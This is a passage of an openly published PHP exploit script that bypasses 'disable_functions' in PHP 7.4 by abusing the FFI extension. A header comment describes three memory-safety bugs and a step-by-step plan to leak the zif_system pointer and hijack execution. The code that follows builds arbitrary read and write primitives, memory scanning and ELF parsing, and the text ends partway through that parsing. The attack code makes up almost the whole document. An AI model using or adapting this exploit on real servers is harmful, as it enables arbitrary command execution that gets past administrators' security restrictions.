PHP 7.4 FFI – ‘disable_functions’ Bypass
<?php /* FFI Exploit - uses 3 potential BUGS. PHP was contacted and said nothing in FFI is a security issue. Able to call system($cmd) without using FFI::load() or FFI::cdefs() * BUG #1 (maybe intended, but why have any size checks then?) no bounds check for FFI::String() when type is ZEND_FFI_TYPE_POINTER (https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4411) * BUG #2 (maybe intended, but why have any checks then?) no bounds check for FFI::memcpy when type is ZEND_FFI_TYPE_POINTER (https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4286) * BUG #3 Can walk back CDATA object to get a pointer to its internal reference pointer using FFI::addr() call FFI::addr on a CDATA object to get its pointer (also a CDATA object), then call FFI::addr on the resulting ptr to get a handle to it's ptr, which is the ptr_holder for the original CDATA object the easiest way is to create cdata object, write target RIP (zif_system's address) to it and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it Exploit steps: 1. Use read/write to leak zif_system pointer a. walk cdata object to leak handlers pointer ( in .bss ) b. scan .bss for pointer to a known value ( *.rodata ptr), that we know usually sits right below a pointer to the .data.relro segment c. Increment and read the .data.relro pointer to get a relro section leak d. Using the relro section leak, scan up memory looking for the 'system' string that is inside the zif_system relro entry. e. once found, increment and leak the zif_system pointer 2. Hijack RIP with complete argument control a. create a function pointer CDATA object using FFI::new() [not callable as it is technically not a propper ZEND_FFI_TYPE_FUNC since it wasnt made with FFI::cdef() b. Overwrite the object'd data with zif_system pointer c. Overwrite the objects zend_ffi_type_kind with ZEND_FFI_TYPE_FUNC so that it is callable with our own arguments 3. Create proper argument object to pass to zif_system (zend_execute_data .. ) a. Build out the zend_execute_data object in a php string b. right after the object is the argument object itself (zval) which we must also build. To do so we build our PHP_STRING in another FFI buffer, leak the pointer and place it into a fake zval STRING object. c. finally we can call zif_system with a controlled argument NOTE: does NOT exit cleanly nor give command output -- both may be possible Author: Hunter Gregal Tested on: - PHP 7.4.7 x64 Ubuntu 20, ./confiure --disable-all --with-ffi - PHP 7.4.3 x64 Ubuntu 20 (apt install) */ ini_set("display_errors", "On"); error_reporting(E_ALL); function pwn($cmd) { function allocate($amt, $fill) { // could do $persistent = TRUE to alloc on libc malloc heap instead // but we already have a good read/write primitive // and relying on libc leaks for gadgets is not very portable // (custome compiled libc -> see pornhub php 0-day) $buf = FFI::new("char [".$amt."]"); $bufPtr = FFI::addr($buf); FFI::memset($bufPtr, $fill, $amt); // not sure if i need to keep the CData reference alive // or not - but just in case return it too for now return array($bufPtr, $buf); } // uses leak to leak data from FFI ptr function leak($ptr, $n, $hex) { if ( $hex == 0 ) { return FFI::string($ptr, $n); } else { return bin2hex(FFI::string($ptr, $n)); } } function ptrVal($ptr) { $tmp = FFI::cast("uint64_t", $ptr); return $tmp->cdata; } /* Read primative writes target address overtop of CDATA object pointer, then leaks directly from the CDATA object */ function Read($addr, $n = 8, $hex = 0) { // Create vulnBuf which we walk back to do the overwrite // (the size and contents dont really matter) list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8 // walk back to get ptr to ptr (heap) $vulnBufPtrPtr = FFI::addr($vulnBufPtr); /*// DEBUG $vulnBufPtrVal = ptrVal($vulnBufPtr); $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr); printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal)); printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal)); printf("-------\n\n"); */ // Overwrite the ptr $packedAddr = pack("Q",$addr); FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8); // Leak the overwritten ptr return leak($vulnBufPtr, $n, $hex); } /* Write primative writes target address overtop of CDATA object pointer, then writes directly to the CDATA object */ function Write($addr, $what, $n) { // Create vulnBuf which we walk back to do the overwrite // (the size and contents dont really matter) list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8 // walk back to get ptr to ptr (heap) $vulnBufPtrPtr = FFI::addr($vulnBufPtr); /*// DEBUG $vulnBufPtrVal = ptrVal($vulnBufPtr); $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr); printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal)); printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal)); printf("-------\n\n"); */ // Overwrite the ptr $packedAddr = pack("Q",$addr); FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8); // Write to the overwritten ptr FFI::memcpy($vulnBufPtr, $what, $n); } function isPtr($knownPtr, $testPtr) { if ( ($knownPtr & 0xFFFFFFFF00000000) == ($testPtr & 0xFFFFFFFF00000000)) { return 1; } else { return 0; } } /* Walks looking for valid pointers * - each valid ptr is read and if it - points to the target return the address of the - ptr and the location it was found */ //function getRodataAddr($bssLeak) { function walkSearch($segmentLeak, $maxQWORDS, $target, $size = 8, $up = 0) { $start = $segmentLeak; for($i = 0; $i < $maxQWORDS; $i++) { if ( $up == 0 ) { // walk 'down' addresses $addr = $start - (8 * $i); } else { // walk 'up' addresses $addr = $start + (8 * $i); } //$leak = Read($addr, 8); $leak = unpack("Q", Read($addr))[1]; // skip if its not a valid pointer... if ( isPtr($segmentLeak, $leak) == 0 ) { continue; } $leak2 = Read($leak, $n = $size); //printf("0x%x->0x%x = %s\n", $addr, $leak, $leak2); if( strcmp($leak2, $target) == 0 ) { # match return array ($leak, $addr); } } return array(0, 0); } function getBinaryBase($textLeak) { $start = $textLeak & 0xfffffffffffff000; for($i = 0; $i < 0x10000; $i++) { $addr = $start - 0x1000 * $i; $leak = Read($addr, 7); //if($leak == 0x10102464c457f) { # ELF header if( strcmp($leak, "\x7f\x45\x4c\x46\x02\x01\x01") == 0 ) { # ELF header return $addr; } } return 0; } function parseElf($base) { $e_type = unpack("S", Read($base + 0x10, 2))[1]; $e_phoff = unpack("Q", Read($base + 0x20))[1]; $e_phentsize = unpack("S", Read($base + 0x36, 2))[1]; $e_phnum = unpack("S", Read($base + 0x38, 2))[1]; for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = unpack("L", Read($header, 4))[1]; $p_flags = unpack("L", Read($header + 4, 4))[1]; $p_vaddr = unpack("Q", Read($header + 0x10))[1]; $p_memsz = unpack("Q", Read($header + 0x28))[1]; if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ?
